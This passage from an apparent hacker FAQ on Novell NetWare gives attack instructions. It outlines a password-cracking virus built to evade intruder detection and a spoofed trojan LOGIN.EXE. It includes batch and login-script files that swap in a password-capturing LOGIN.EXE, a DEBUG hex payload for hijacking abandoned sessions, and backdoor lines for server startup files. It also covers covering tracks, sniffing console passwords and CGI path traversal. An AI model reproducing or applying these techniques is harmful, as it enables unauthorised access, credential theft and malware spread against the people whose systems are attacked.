But Bob is not completely out of luck yet. Bob can try an offline attack at guessing Alice's password since he knows Y', R and Alice's UID. Bob needs to find X, such that Y=hash(X,R) = Y'. Since it's likely that Alice's password in not a particularly good one, this is a severe reduction in security, but not a total breach, since Bob can compute X by finding a password such that X=hash(pass,UID). Once Bob knows X, he can determine what Alice's private RSA key is. THEN he can sign packets.
It should be noted that Alice may cache the server's public key for the second login attempt. If this is true, Alice won't be able to login and may notice what has happened. But Alice's private RSA key will never change, and once that is attained is doesn't matter even if Alice changes her password. Alice's password can still be discovered.
26.3 Are Netware-aware viruses possible?
A NetWare aware virus could allow an attacker to gain access to a large number of servers available on the network.
Using one of the strategies used by the Internet Worm of 1988 combined with simple virus strategy, a virus can be constructed to infect many clients/servers across many networks (the virus could also employ attacks similiar to HACK.EXE or even Man-In-The_Middle attacks).
Some NetWare networks will have a large number of servers attached. It's also true that most users (including Supe and Admin) will use the same password on many different servers (some may have no password at all). A virus could exploit this vulnerability and spread to other servers which it otherwise would not have access to. The virus could also use the idle CPU time on infected clients to crack the passwords of other users.
However, care must be taken not to give the virus away by setting off intruder detection alarms. The virus should randomly select one user from a randomly selected server attempt to login using a randomly selected word from a wordlist. How often the client should attempt logins depends upon the size of the network (remember that if the virus succeeds, there may be 10s of thousands of clients breaking passwords in parrallel).
The virus should estimate the size of the network, and use laws of probibility to determine how often to attempt a break in so that no account is tried twice in the same hour. This should be calculated by relating the number of unique accounts, the number of clients (estimated by monitoring network traffic and assuming all servers have the same number of clients on their network. While this is not 100% accurate, this should be accurate enough for our purposes.
Some the estimated success rate of the virus (measured in propagation delay for infecting hosts per day from a single host), and the length of time the virus has been running should be considered. Using A=number of unique accounts, P = propagation delay, and n = number of days virus has been running, then the following computes the number of guesses the client should make per hour: (A*24)/(P^n).
What should or could this virus do? Well, if it is running on a workstation with a network card, we could sniff logins. Since R and hash(X,R) are sent in the clear, the virus could attempt an offline computational attack against X, thus avoiding a brute force attack that could trigger intruder detection. The virus can't use the MITM attacks on the login sequence because it doesn't have the required wiring topology neccessary to implement the attack. Yes, you COULD try and build that in but then it probably would be too big and noticeable. Remember, we're talking virus, not stand-alone application.
26.4 Can a trojaned LOGIN.EXE be inserted during the login process?
Here is a different perspective of the login sequence which is common to all versions of NetWare:
The workstation attaches to the server.
The workstation maps a drive to the server's SYS:\LOGIN directory.
The workstation downloads LOGIN.EXE from the server and executes it.
If the user is authenticated, the workstation downloads and executes the login script.
The hole in this protocol is when the workstation downloads LOGIN.EXE. Since the user isn't logged in, there is no packet signing available, thus any workstation is capable of impersonating the server. Here the attacker can simply sniff the request to download LOGIN.EXE from the network, and then send the workstation ANY program in return and the workstation will execute it.
The optimal attack here would be to send a modified copy of the real LOGIN.EXE file. The modified EXE could encrypt the user's password (using public key crypto) and broadcast it to the network. However, the modified EXE could also carry out the login handshake as normal and log the user in and executing the login script. With this attack, the target user would have no way of identifying that anything out of the ordinary has happened. It appears that NetWare always starts with the sequence numbers at 0 and increments seq + 1 from there for the remainder of the session. Thus it's possible to predict the sequence numbers. This will allow the attacker to exploit the hole without using a MITM attack and still allow the conversation to continue normally by using only a single workstation.
The attack can also be carried out by any single host on the network which is capable of sniffing the request to download LOGIN.EXE. It's also possible to do this even if the workstation and the server are on the same network (if and only if the server is slower responding to requests than the attacker's machine). Here the attacker just makes up the sequence numbers, and sends the workstation a phony LOGIN.EXE which will broadcast the user's password (again, encrypted) over the network and then re-boot the machine. (It's also possible for the attacker to log the user in and have the attack transperent to the user. In this case, the attacker would have to sniff one of the server's packets off the network, and re-send it to the workstation with adjusted sequence numbers so that the workstation's next ACK will synch with the server's sequence numbers. Note that the attacker will have to artificially ACK the packets the server sends when the client tries to download LOGIN.EXE.)
It's been stated that only the first few bytes of NetWare packets are signed. That means the user can not only modify LOGIN.EXE on the fly, but can modify any program on the fly.
Let's put this into a more proper perspective. The exploit program would take the MAC address of an admin/supe person as a parameter, wait for the user to attempt to login, exploit the host, and exit. If the attacker didn't want to take the effort to allow the conversation to continue, s/he could make the exploit program re-boot the host automatically after broadcasting the password over the network (once again, encrypted and intended for the attacker).
Obviously we don't need to exploit a large range of hosts, only the ones with LAN admins logging in. This would typically be a small subset of machines (which quite possibly normal users wouldn't have access to in order to prevent the use of keyboard capture routines). So all the attacker needs to do is exploit the host where the Admin-equiv logs in.
The idea came from an already known hole in NFS for UNIX (it's exploited exactly the same way). But NetWare is supposed to avoid this hole through the use of packet signatures. It obviously didn't. The exploit for this hole would really not be much different than the code for HACK.EXE which uses the same principles.
Of course, this hole allows anyone to execute any arbitrary program on any host. So the possibilities are only limited to your imagination, especially if you start combining the techniques from section 11. A virus that did the LOGIN.EXE spoof that left code to decypher the private key of each workstation comes leaping to mind...
Now the MITM attack isn't required to take advantage of any part of this attack. It would be if the attacker couldn't predict the server's and the user's sequence numbers. This has the following effects:
The attacker doesn't need to sniff one of the server's packets off the network to resynchronize the sequence numbers.
The attacker doesn't need to artifically ACK the server's responses.
The MITM attack isn't needed to modify a program on the fly. Any single workstation can implement the attack.
26.5 Is anything "vulnerable" during a password change?
Netware 3.x does not use the public key crypto stuff that Netware 4.x uses, so to transmit a password across the wire during a password change it has to be encrypted with something. The new password is encrypted with the previous password. However if the previous password is blank (i.e. new account) the "key" to encrypt with might as well be plaintext.
26.6 Is "data diddling" possible?
Novell's data validation scheme involves packet signature and a checksum. However since a checksum includes the packet signature, IN THEORY it is possible to use this info in combination with another problem to diddle data.
The other problem involves the fact that packet signature only uses the first 52 bytes of the data portion, which means any data from byte 89 and on could be altered, a new checksum generated, and the packet would now have a valid signature AND checksum, but altered data.
Of course, this assumes an attacker could write code that could do something interesting beyond byte 89 AND generate a checksum AND retransmit the forged packet AND beat the real packet to its destination.
Assuming checksums could be predetermined, especially if you are looking for a specific source and target address and type of packet, it could be done.
|» 25.0 Netware Misc. Attack Info|
25.1 How do I spoof my node or IP address?|
This will depend greatly on what kind of network interface card (NIC) the workstation has, as to whether you can perform this function. Typically you can do it in the Link Driver section of the NET.CFG file by adding the following line - NODE ADDRESS xxxxxxxxxxxx where xxxxxxxxxxxx is the 12 digit MAC layer address. This assumes you are using Netware's ODI drivers, if you are using NDIS drivers you will have to add the line to a PROTOCOL.INI or IBMENII.NIF file, which usually has the lines already in it.
Getting the target node address should be pretty easy. Login with any account and do a USERLIST /A. This will list all accounts currently logged in with their network and node address. If your workstation is on the same network as the target, you can spoof the address no problem. Actually you can spoof the address regardless but to defeat station restrictions you must be on the same network.
For an IP address, you may have to run a TCPIP config program to make it work (it depends on whose IP stack you are running). Some implementations will have the mask, the default router and the IP address in the NET.CFG, some in the TCPIP.CFG. It is a good idea to look around in all network- related subdirectories to see if there are any .CFG, .INI, or .NIF files that may contain addresses.
Forging the IP address is quite tricky, and many people have written to me asking for specific tips. Since there are a number of different IP implementations this is rather impractical. However here are a few important items to remember:
Most utilities that configure the IP address DO use an INI, CFG or NIF file of some type. Look for those files.
As workstation software becomes more complex, I have found that often the IP address is written in more than one place. You must get it in all of places it has been written. For example if you are running multiple protocols on one card, you may have to update several different config files including NET.CFG.
If the IP address you are trying to spoof is up and active, it is possible that you won't get anything to work at all, or it will be difficult. In large companies there is usually some monitoring to detect duplicate IP addresses. Netview is one example of a product that can be configured to look for this.
A company may have a class 2 address, and may have dozens of class 3 subnets. If your subnet is 100.100.100.x and your default router is 100.100.100.254, trying to spoof 100.100.200.10 probably will not work very well.
For IP spoofing, you may want to try netcat ("the network swiss army knife") available via @stake's network utilities <http://www.atstake.com/research/tools/network_utilities/>.
25.2 How can I see hidden files and directories?
Instead of a normal DIR command, use NDIR to see hidden files and directories. NDIR *.* /S /H will show you just Hidden and System files.
25.3 How do I defeat the execute-only flag?
If a file is flagged as execute-only, it can still be opened. Open the file with a program that will read in executables, and do a Save As to another location.
Also try X-AWAY.EXE to remove this flag since Novell's FLAG.EXE won't. But once again X-AWAY.EXE requires Supervisor access.
To disable the check for Supe access in X-AWAY, try the following:
REN X-AWAY.EXE WORK
REN WORK X-AWAY.EXE
Hey presto, anybody can copy X flagged files. The only catch is you need practically full rights in the directory where the X flagged file resides.
25.4 How can I hide my presence after altering files?
The best way is to use Filer. Here are the steps for removing file alterations -
Run Filer or use NDIR and note the attributes of the target file, namely the date and owner of the file.
Make your changes or access the file.
Run Filer or use NDIR and check to see if the attributes have changed. If so, change them back to the original settings.
While you can hit F1 will in Filer and get all the context-sensitive help you need, the quicky way to get where you're going is to run Filer in the target file's directory, select Directory Contents, highlight the target file and hit enter, select File Options and then View/Set File Information. View and edit to your heart's desire.
25.5 What is a Netware-aware trojan?
A Netware-aware trojan is a program that supposedly does one thing but does another instead, and does it using Netware API calls. I have never personally encountered one, but here is how they would work.
Trojan program is placed on a workstation, hopefully on one frequented by admins with Supe rights. The trojan program could be named something like CHKVOL.COM or VOLINFO.COM, that is a real name but with a .COM extension. They would be placed in the workstation's path.
Once executed, the trojan uses API calls to determine if the person is logged in as a Supe equivalent, if not it goes to the next step. Otherwise some type of action to breach security is performed.
The real CHKVOL.EXE or VOLINFO.EXE is ran.
The breach of security would typically be some type of command-line activity that could be performed by system() calls. For example, PROP.EXE could be run to build a property and the replacement LOGIN.EXE copied up to the server in the SYS:LOGIN directory. Or RW access granted to the SYS:SYSTEM directory for a non-Supe user like GUEST.
Once activated the trojan could also erase itself since it is no longer needed.
25.6 What are Trustee Directory Assignments?
The LAN God has pointed out quite correctly that Trustee Directory Assignments are the most misunderstood and misconfigured portion of Novell Netware. Typically a secure site should have Read and File Scan only in most directories, and should not have any rights on the root directory of any volume. Rights assigned via the Trustee Directory Assignments filter down the directory tree, so if a user has Write access at the root directory, that user has Write access in every subdirectory below it (unless explicitly limited in a subdirectory down stream). And these assignments are not located in the bindery, but on each volume.
The following is a brief description of Trustees and Trustee Directory Assignments cut and pasted from the comp.os.netware.security FAQ:
[quote] A trustee is any user or group that has been granted access rights in a directory.
The access rights in Novell NetWare 2 are slightly different from the ones in NetWare 3.
The following is a summary of access rights for NetWare 3.
S - Supervisory. Any user with supervisory rights in a directory will automatically inherit all other rights, regardless of whether they have been explicitly granted or not. Supervisor equivalent accounts will hold this access right in every directory.
R - Read. Enables users to read files.
C - Create. Enables users to create files and directories. Unless they also have write access, they will not be able to edit files which have been created.
W - Write. Enables users to make changes to files. Unless they also have create access, they may not be able to edit files, since the write operation can only be used to extend files (not truncate them, which file editors need to do).
E - Erase. Enable users to erase files and remove directories.
M - Modify. Enable users to modify file attributes.
F - File scan. Enables users to see file and directory information. If a user does not have file scan rights, they will not see any evidence of such files existing.
A - Access control. Enable user to change trustee rights. They will be able to add other users as trustees, remove trustees, and grant/revoke specific rights from users. The only caveat of access control is that it is possible for users to remove themselves (as trustees) from directories, thus losing all access control.
In addition to trustees and access rights, there is a concept of inherited rights which means that users inherit rights from parent directories. For example, if user ALICE has rights [CWEM] in a directory, and she has [RF] rights in the parent directory then she will have [RCWEMF] rights as a result of the inherited rights. This will only work if one of the rights that ALICE has in the two directories is granted to a group; if both are granted to her, she will lose the rights of the parent. [end quote]
25.7 Are there any default Trustee Assignments that can be exploited?
Two ways. In 3.x the group EVERYONE has Create rights in SYS:MAIL. This means the user (including GUEST) has the ability to write files to any subdirectory in SYS:MAIL. The first versions of Netware included a simple e-mail package, and every user that is created gets a subdirectory in mail with RCWEMF, named after their object ID number. One consistent number is the number 1, which is always assigned to Supervisor. Here's one way to exploit it:
- Login as GUEST and change to the SYS:MAIL subdirectory.
- Type DIR. You will see one subdirectory, the one owned by GUEST. Change into that directory (ex. here is C0003043)
- Type DIR. If there is no file named LOGIN, you can bet there may not be one for Supervisor. If there is a default-looking LOGIN file, even a zero length file, you cannot proceed.
- Copy PROP.EXE and LOGIN.EXE (the itsme version) to SYS:MAIL\C0003043
- Create a batch file (ex. here is BOMB.BAT) with the following entries:
FLAG \LOGIN\LOGIN.EXE N > NUL
COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
FLAG \LOGIN\LOGIN.EXE SRO > NUL
\MAIL\C0003043\PROP -C > NUL
- Create a LOGIN file with the following entries:
MAP DISPLAY OFF
MAP ERRORS OFF
COMMAND /C #\MAIL\1\BOMB
MAP DELETE G:
- Now copy the files to the Supervisor's SYS:MAIL directory from a drive mapped to the SYS: volume.
TYPE BOMB.BAT > \MAIL\1\BOMB.BAT
TYPE LOGIN > \MAIL\1\LOGIN
- The next time the Supervisor logs in the LOGIN.EXE is replaced and the PROP.EXE file is run, capturing passwords. Run PROP.EXE later to get the passwords, and then once you have all the passwords you need (including Supervisor) delete your LOGIN and BOMB.BAT file.
Admins can defeat this by creating default personal Login Scripts or by adding an EXIT command to the end of the System Login Script. Later versions of Netware create a zero-length LOGIN file at ID creation time in the SYS:MAIL directories to defeat this.
Pegasus mail has a hole that ties into the Create rights in SYS:MAIL. Here's how
to use it:
- Create a RULES.PMQ file that sets up a rule to execute a file after receipt of a mail message. The program Run line should be something like:
COMMAND /C F:\MAIL\1\BOMB.BAT
- Let's say your mail directory is SYS:MAIL\C0003043. Copy PROP.EXE and LOGIN.EXE (the itsme version) to that directory.
- Your BOMB.BAT file should be like this:
FLAG \LOGIN\LOGIN.EXE N > NUL
COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
FLAG \LOGIN\LOGIN.EXE SRO > NUL
\MAIL\C0003043\PROP -C > NUL
- When the Supe reads his mail, the replacement LOGIN.EXE is active and capturing passwords. After acquiring a Supe equiv account, delete the rogue files from SYS:MAIL\1
This Pegasus mail problem will only work if the RULES.PMQ does not exist in the target directory.
If the RULES.PMQ file exists, obviously you cannot do this. After all, you can
only create new files to these directories. But here's a way to try and trick
the Supe into deleting it for you:
- Create a bunch of extra rules for Pegasus. Name them RULEA.PMQ through
RULER.PMQ, and RULET.PMQ through RULEZ.PMQ.
- Next time the Supe logs in and accesses mail, errors.
- The Supe deletes RULE?.PMQ to fix the problem, and RULES.PMQ is also removed.
- Now do Trick #2
25.8 What are some general ways to exploit Trustee Rights?
To find out all your trustee rights, use the WHOAMI /R command. The following section is a summary of what rights to expect, and the purpose. Where x appears, it means it doesn't matter if the right is set.
[SRWCEMFA] means you have FULL rights. They are all eight of the effective
[Sxxxxxxx] shouldn't appear unless you are supervisor (or equivalent).
It means you have full access in that directory and all subdirectories.
You cannot be excluded from any directory, even if a user explicitly
tries to revoke your access in a subdirectory.
[xxxxxxxA] is next best thing to the S right. It means you have access
control in that directory and all subdirectories. You can have your
access control (along with any other rights) revoked in a subdirectory,
but you can always use inherited rights to recover them (see the
[ R F ] is what users should have in directories containing software.
You have the right to read files only.
[ RCWEMFx] is what users should have in their home directory. You can read,
create, and edit files. If you find any unusual directories with
these rights, they can also be used for storing files (maybe an abuse
of the network, especially if this is exploited to avoid quota
[ RxW F ] usually means that the directory is used for keeping log files.
Unless you have the C right, it may not be possible to edit files in
The RIGHTS commands tells you what rights you have in a particular directory. GRANT, REVOKE, and REMOVE are used to set trustee rights.
25.9 Can access to .NCF files help me?
Access to any .NCF file can bypass security, as these files are traditionally run from the console and assume the security access of the console. The addition of a few lines to any .NCF file can get you access to that system.
The most vulnerable file would be the AUTOEXEC.NCF file. Adding a couple of lines to run BURGLAR.NLM or SETPWD.NLM would certainly get you access. But remember there are other .NCF files that can be used and exploited. For example, ASTART.NCF and ASTOP.NCF are used to start and stop Arcserve, the most popular backup system for Netware. The LDREMOTE.NCF as mentioned in section 04-2 is another potential target.
The lines you might add to such a file might be as follows:
LOAD SETPWD SUPERVISOR SECRET
This assumes you had read/write access to the location of the .NCF file and can copy SETPWD.NLM to the server. Note that by unloading CONLOG you are only partially covering your tracks, in the CONSOLE.LOG file it will be obvious that CONLOG was unloaded and reloaded. The CLS is to keep your activities off of the server's screen.
The best .NCF for this is obviously one that is either used during the server's boot process or during some automated process. This way a short .NCF and its activities may escape the eyes of an admin during execution.
25.10 Can someone think they've logged out and I walk up and take over?
Yes. Here's how -
Type the following commands at the DOS prompt (or rip them out of this file, and feed them into DOS debug).
e100 eb 2b 80 fc d7 74 22 3d 02 f1 74 1d 3d 19 f2 74
e110 18 3d 17 f2 74 0a 3d 17 f2 74 05 ea 5b 46 4d 5d
e120 50 b0 d2 38 45 02 58 75 f2 f8 ca 02 00 b4 49 8e
e130 06 2c 00 cd 21 b8 21 35 cd 21 89 1e 1c 01 8c 06
e140 1e 01 b8 21 25 ba 02 01 cd 21 ba 2d 01 cd 27 00
Just run it on a workstation running NetWare 2.x or 3.x, and wait for someone to login, use the machine, logout, and walk away. Oops. They forgot to logout? Now, isn't that just *bad* luck...
Moral: If you are using a public network (such as a school or university), don't just use LOGOUT. Switch the machine OFF.
25.11 What other Novell and third party programs have holes that give "too much access"?
Netware NFS has several bugs, as does IntraNetware.
For remote access, hackers always want a Shiva hooked up. You see, if a hacker gets a name from the internal name list, they may not need a user ID and password for a Novell server. If a Shiva user disconnects without logging out, the next person in will be in as that person -- Shiva doesn't drop the connection!
25.12 How can I get around disk space requirements?
Some admins forget to implement disk space restrictions on some volumes, but give write access to everyone. This allows you to use more resources than the supe intended.
Some systems keep user's home directories on one volume, and only restrict disk space on that one volume. Applications and system files will be kept on other volumes. Since some applications require write access to their directories, if the volume space is not limited, any user capable of running the program can use the extra disk space available (an e-mail program like Microsoft Mail on it's own volume leaps to mind). If space isn't limited on SYS, on 3.x there is the SYS:MAIL\xxxxxxxx directory (where xxxxxxxx is your bindery object ID), but this is not there by default in 4.x. However if Pegasus mail is being used, or if the server was migrated from 3.x to 4.x, the directory structure and access may be the same.
25.13 How do I remotely reboot a Netware 3.x file server?
If you have access to a server via RCONSOLE it may come in handy after loading or unloading an NLM to reboot a server. Build an NCF file by doing the following steps -
- Create a file called DOWNBOY.NCF on your local drive. It should be a text file
and contain the following lines:
- Copy up the file to the SYS:SYSTEM directory using RCONSOLE.
- At the System Console prompt, type DOWNBOY and enter.
What happens is this - the REMOVE DOS statement frees up the DOS section in server RAM, the server is downed (if there are open files, you will be given one of those "are you sure" messages, answer Y for yes), and the EXIT command tries to return the server console to DOS. But since you removed DOS from RAM, the server is warm booted.
25.14 What is Netware NFS and is it secure?
NFS (Networked File System) is used primarily in Unix to remotely mount a different file system. Its primary purpose in Netware is to allow the server to mount a Unix file system as a Netware volume, allowing Netware users access to Unix data without running IP or logging into the server, and Unix users to mount a Netware volume as a remote file system. If the rights are set up incorrectly you can gain access to a server.
While the product works as described, it is a little hard to administer, as user accounts on both sides must be in sync (name and password) and it can be a fairly manual process to ensure that they are, unless the versions are Netware NFS 2.1 or greater with Netware 4.x AND the Unix side is NOT running NIS. Simply adding the proper UID to the NDS object to create a relationship for rights to be passed back and forth. There are three modes -- Unix is God, Netware is God, or both are right.
A reported problem with Netware NFS is that after unloading and reloading using the .NCF files, a system mount from the Unix side includes SYS:ETC read only access. If this directory can be looked at from the Unix side after a mount, .NCF and .CFG files could be viewed and their information exploited. For example, SYS:ETC is a possible location of LDREMOTE.NCF, which could include the RCONSOLE password.
On Netware 3.11 if you ask the portmapper for an NFS handle it will give you one. When you give NFS the file handle it will check its LOCAL portmapper and then grant the request. You can then read any file on the mount you just made.
Netware NFS' existence on a server says you have some Unix boxes around somewhere, which may be of interest as another potential system to gain access to.
25.15 Can sniffing packets help me break into Netware servers?
Yes. If a user is logging in and the password is being transmitted to the server unencrypted, it will show up as plain text in the trace. If the site uses telnet and ftp, capturing those password will come in handy. Outside of gaining access to another system, many users will make their passwords the same across all systems.
RCONSOLE.EXE is the client-launched application that provides a remote server console to a Novell Netware file server. The connection between client and server allows administrators to manage servers as if they were at the physical server console from their desks, and allow virtually any action that would be performed at the server console to be performed remotely, including execution of console commands, uploading of files to the server, and the unloading and loading of Netware Loadable Modules (NLMs). It is not only an effective tool for administrators, it is a prime target for hackers.
A critical point of access to many servers is the actual physical console. This is one of the main reasons why physical security of the server is so important and stressed by security conscious administrators. On many systems you have a level of access with little to no security. Netware is no exception.
The main reason to hack RCONSOLE is to gain access to the Netware server console. No, you aren't physically there, but the OS doesn't know any different. And the main reason to gain access to the Netware server console is to utilize a tool to gain Supervisor access to the Netware server.
During the RCONSOLE process, the password does come across the wire encrypted. If you look at the conversation you will see packets containing the RCONSOLE.EXE being opened, the possible servers to be accessed, etc. This conversation is nothing but NCP packets.
Once RCONSOLE is up on the workstation, the user chooses the server, hits enter, and is prompted for a password. After entering the password, the conversation contains two 60 byte IPX/SPX packets going back and forth followed by 4 NCP packets, 64 bytes, 60 bytes, 64 bytes, and 310 bytes in length respectively. The next IPX/SPX packet, 186 bytes in length, contains the password. It is located at offset 3Ah, which is easy to find. Offset 38h is always FE and offset 39h is always FF.
Now comes the use of a tool called RCON.EXE from itsme that can take some of the information you have collected and turn it into the password. What you need are the first 8 hex bytes starting at offset 3Ah, the network address, and the node address. Now the network and node address are in the header of the packet that contains the encrypted password, but can also get these by typing USERLIST /A which returns this info (and more) for each person logged in.
Now why just the first 8 hex bytes? That's all Novell uses. Great encryption scheme, huh?
25.16 What else can sniffing around Netware get me?
It has pointed out that RCONSOLE sends screens in plaintext across the network for all to see (well, all with sniffers). This means you can see what is being typed in and what is happening on the screen. While it is not the prettiest stuff to look at, occassional gems are available. The best gem? The RCONSOLE password. The server had been brought up without REMOTE and RSPX being loaded, they were loaded by hand at the console after the server was brought up. The first RCONSOLE session brought up the screen with the lines LOAD REMOTE and LOAD RSPX PASSWORD (with PASSWORD being the RCONSOLE password), and this was being sent to the RCONSOLE user's workstation in plaintext.
Teiwaz discovered that SYSCON sends password changes in plaintext. While SETPASS, LOGIN, MAP, and ATTACH all encrypt the password in 3.x, SYSCON does not.
Einer kindly reminded me that sniffing will show other usernames and passwords such as TELNET, FTP, POP3, and others. Often users use the same passwords from system to system, so these passwords could be used to try on the Netware accounts. In large shops, the administrators of Netware may also have the same passwords for privileged accounts from system to system, so the Admin or Supervisor account may match the root account on a Unix box. Therefore a TELNET session that contains an su to root might reveil the Admin password.
25.17 Do any Netware utilities have holes like Unix utilities?
This is a fairly common question, inspired by stack overrun errors, sendmail bugs, and the like that exist in the Unix world. The reason you do not have these kind of exploits in common Netware utilities is because:
You use a proprietary shell that can be loaded without accessing the server, therefore no shell exploits exist.
Virtually all Netware utilities do NOT use stdin and stdout, so no stack overruns that exploit anything.
Since the shell is run locally, not on the server, you have no way to use a utility to gain greater access than you have been granted, like a SUID script in Unix.
Yes there are utilities like HACK.EXE that grant extra access under certain conditions in 3.11, but no Novell-produced utility comes close to granting extra access.
25.18 Where can I get the Netware APIs?
Stateside call 1-800-RED-WORD, it's $50 USD, and includes a 2-user license of Netware 4.1. Most brand-name compilers will work, but if you're writing NLMs you'll need Watcom's latest. It's the only one I know of that will do NLM linking.
25.19 Are there alternatives to Netware's APIs?
There are a few. Here is info on them -
Visual ManageWare by HiTecSoft at (602) 970-1025. This product allows development of NLMs and DOS EXEs using a Visual Basic type development environment. Runtime royalty-free development without C/C++ and without Watcom. However links are included for C/C++ programs. The full SDK including compilers is USD$895.00. Pricey but looks good, I have not used this product. Novell recently bought/licensed this product so the availability may have changed.
Adrian Cunnelly recently made his C libs for Netware free. You can reach him at firstname.lastname@example.org <mailto:email@example.com>. These include the source code. Check SimTel mirrors in the msdos/c/ directory for netclb30.zip
And take a look at Greg Miller's site, especially for those Pascal coders out there at <http://www.gregmiller.net/>.
Pandora v3.0 includes its own API, the Pandora Toolbox API, written by Jitsu-Disk. While the project was intended for hackers and not admins, some coders might find it to be a useful package. It is available at <http://www.nmrc.org/project/pandora/index.html>.
The "GNU Novell Client" project gives a unique insight on the NCP protocol, it can be downloaded at <ftp://platan.vc.cvut.cz/pub/linux/ncpfs/>. It has tons of source code included.
25.20 How can I remove NDS?
This one is dangerous. This one will get you your Admin account back if you lost the password, and is not for the light-hearted if you plan on actually using NDS afterwards. Do this at a 4.1 console:
LOAD INSTALL -DSREMOVE
Now in the INSTALL module, go ahead and try to remove NDS. As a part of the process, it will ask you for the Admin password, get this, JUST MAKE ONE UP. If you get errors, no problem. Keep going and you can remove NDS from the server. Even though you gave it the wrong password, it will still let you remove NDS. I told you this one is real wicked...
25.21 What are security considerations regarding partitions of the tree?
Most of this is covered as individual items, but here is a bit regarding partitioning of the tree.
As mentioned in the password section, you can set the bindery context of a server to help you recover a lost ADMIN password. It should be noted that you can only access containers in the current servers partition.
With larger networks things get more complex. For example, a "supervisor" account (one with full access to the file system) may have limited access on another server. The number of possible leaks for intruders grows with the size of the network.
A hacker could exploit this and gain control of other partitions, if any object in the first partition they have compromised has access rights to other directory partitions. Intruders could easily give themselves security equivalence to that object, or change that objects password with SYSCON, then login as that object and access the other partitions.
In other words, if a read/write or master partition is stored on one server, its supervisor can potentially manage all objects in this partition, and since its supervisor's password can be reset from the console, other partitions are at risk.
Read/only replicas of partitions by nature will not allow you to set your bindery context to a container in that area -- they are, duh, read only. Of course the brave can disconnect the server from the network, and run DSREPAIR on that server to change the partition to master, but that's rather extreme.
Novell recommends trying to restrict object rights to their own partition and to create replica partitions only on trusted server. Let's use an example to illustrate:
Server ACCOUNTING has lots of spreadsheets, documents, and a database used by the accounting department with all kinds of information. The container ACCT-USERS has the IRF set so that they manage themselves.
There is an account called MAINTENANCE in the ACCT-USERS container that the manager of accounting can reset the password. This is done when the LAN administrators need to perform any kind of maintenance, such as building IDs with tricky access rights, etc. that the accounting manager doesn't know how to do.
A read/write replica of the partition containing the ACCT-USERS container exists on a server across town in a small sales office. A temporary office clerk hired from a local temp agency has access to the storage closet where this server is kept.
One afternoon the temporary uses SETPWD.NLM and resets the MAINTENANCE account password.
The next day (after replication) the temporary rifles through all accounting documents which include payroll and personal information, sales forecasts, future plans for capital expenditure, etc.
25.22 Can a department "Supe" become a regular Admin to the entire tree?
Yes, under certain conditions. Here is an example.
The tree has an OU called LAWDEPT.
The Admin account is at the root of the tree.
A departmental supervisor account called FRED is located in LAWDEPT with Admin rights to the LAWDEPT OU (a Trustee of LAWDEPT and supe rights to objects and properties).
Server LawServer is in the LAWDEPT OU with two bindery contexts, one in the LAWDEPT OU and one at the root (so Admin can login via the bindery if needed)
Although FRED only has browse at the root, he can run SYSCON and modify the Admin account to gain more access, like say the password.
If FRED is a psychopath, he can delete the Admin account and render tree management useless.
25.23 Are there products to help improve Netware's security?
While there are a number of products, commercial and shareware/public domain that have some security-related features, the following products are either really good or have some unique features.
One commercial product product that will check from a dictionary word list and simply report if the password is on the list is Bindview NCS. The bindery version is god-awful slow, but completely accurate. It requires Supe access to run. Bindview can also produce a number of reports. including customized reports to give you all kinds of info on the server and its contents. The new Bindview NDS product is even better. Running as an NLM the password-checking is lightning fast at spitting out account names that are using poor passwords. It can do several thousand checks vs. the one-per-couple-of-seconds speed of the bindery version. You can still use the slow across-the-network method if you desire, but this is only for those who like slow torture. The new reporting features are fabulous, and since they can be customized the wily sys admin can have custom security reports (among other things).
"SafeWord Premiere Access" is an NLM that does password checks in a Netware Connect environment:
There is a product called Password Helper that "enhances" the security around the changing of passwords for 3.x. It is a local EXE/server NLM product that allows non-Supe users to reset passwords.
25.24 Is Netware's Web server secure?
Novell's Web Server had a HUGE bug. The CGI scripts are Basic programs (yes you are about to hack a server using Basic!) and several are included with the server. One in particular, CONVERT.BAS, takes a file and converts it to HTML and then sends it to the user. Here's an example for www.target.com:
The README.TXT file is returned as HTML. Now here's the bug:
Nasty, huh? I recommend "../../system/autoexec.ncf", or "../../etc/ldremote.ncf". It can also be useful for other things (see 06-2 for an example). This has been fixed in the latest version of Novell's IntranetWare.
25.25 What's the story with Netware's FTP NLM?
With IntranetWare, the FTP NLM has a couple of problems. The standard installation gives Read and File Scan access to SYS:ETC so anonymous users can access files in that directory. This is a problem if you use INETCFG to configure RCONSOLE and then don't go back and encrypt the password in the file. The SNMP community password is in this directory, to say nothing about protocols, addresses, and other configuration information.
The wily Admin can turn off the rights, but guess what? Doing this breaks the logging feature.
The other major problem on Netware 4.1 with FTPSERV.NLM is that some users logging in via FTP are granted excessive rights. Stopping and starting the NLM seems to put the rights back the way they are supposed to, but then they seem to come back to FULL rights. Using Fetch as an FTP client tends to make this happen all of the time.
While it does seem possible that going in and checking effective rights, checking bindery rights via SYSCON, and checking UNICON might turn up something, it seems that installed out of the box 4.1 is vulnerable. I am unsure if 4.11 is affected, but my guess is yes. The problem? If NFS file space isn't used, certain clients like Fetch and Cute FTP will end up with Supe rights to the volume.
25.26 Can an IntranetWare server be compromised from the Internet?
This is a tricky question, however it is POSSIBLE. I've been working on the right set of conditions in the lab, and I have got it to happen. However it involves a LOT of conditions. But these conditions are not entirely out of the question.
First, variations on the answers outlined in the previous two questions could be used to gain initial access. For example, if a poorly constructed CGI script was put in place that allowed write access to the server and could be redirected, additions could be added to NCF files.
For example, imagine that a CGI script is in place to add a line of text to a file, such as a mailing list. If this CGI script could be redirected, adding a few lines to SYS:ETC\LDREMOTE.NCF or SYS:SYSTEM\AUTOEXEC.NCF could give you complete access. Such lines might include:
LOAD REMOTE HACKPASSWORD
Now simply telnetting to the server, using "hackpassword", and choosing VT-100 will give you remote console access after the next reboot.
Can't telnet past that NLM-based firewall? Add the commands to the NCF file to simply unload it! You can reload it after you've gained access, if you desire.
Access via Novell's FTP NLM is another problem. If you can gain access to the server via FTP and get read/write access to the SYS: volume, you can alter NCF files and open up all kinds of access.
So what kinds of damage can be done? Grab passwords!
If you have gained access via techniques previously described, you can grab the password file(s). Novell has stated publicly it cannot happen, yet I have done it in the NMRC lab.
First off, the NDS files are located in the SYS:_NETWARE directory. You would of course have to gain access to these files. And there are a couple of ways to do this. You can use the techniques described in the Netware Console Attack section, which will allow all kinds of things. But let's say the administrator of the server has removed NETBASIC, and you can't upload a file like JCMD.NLM. You are not entirely sunk.
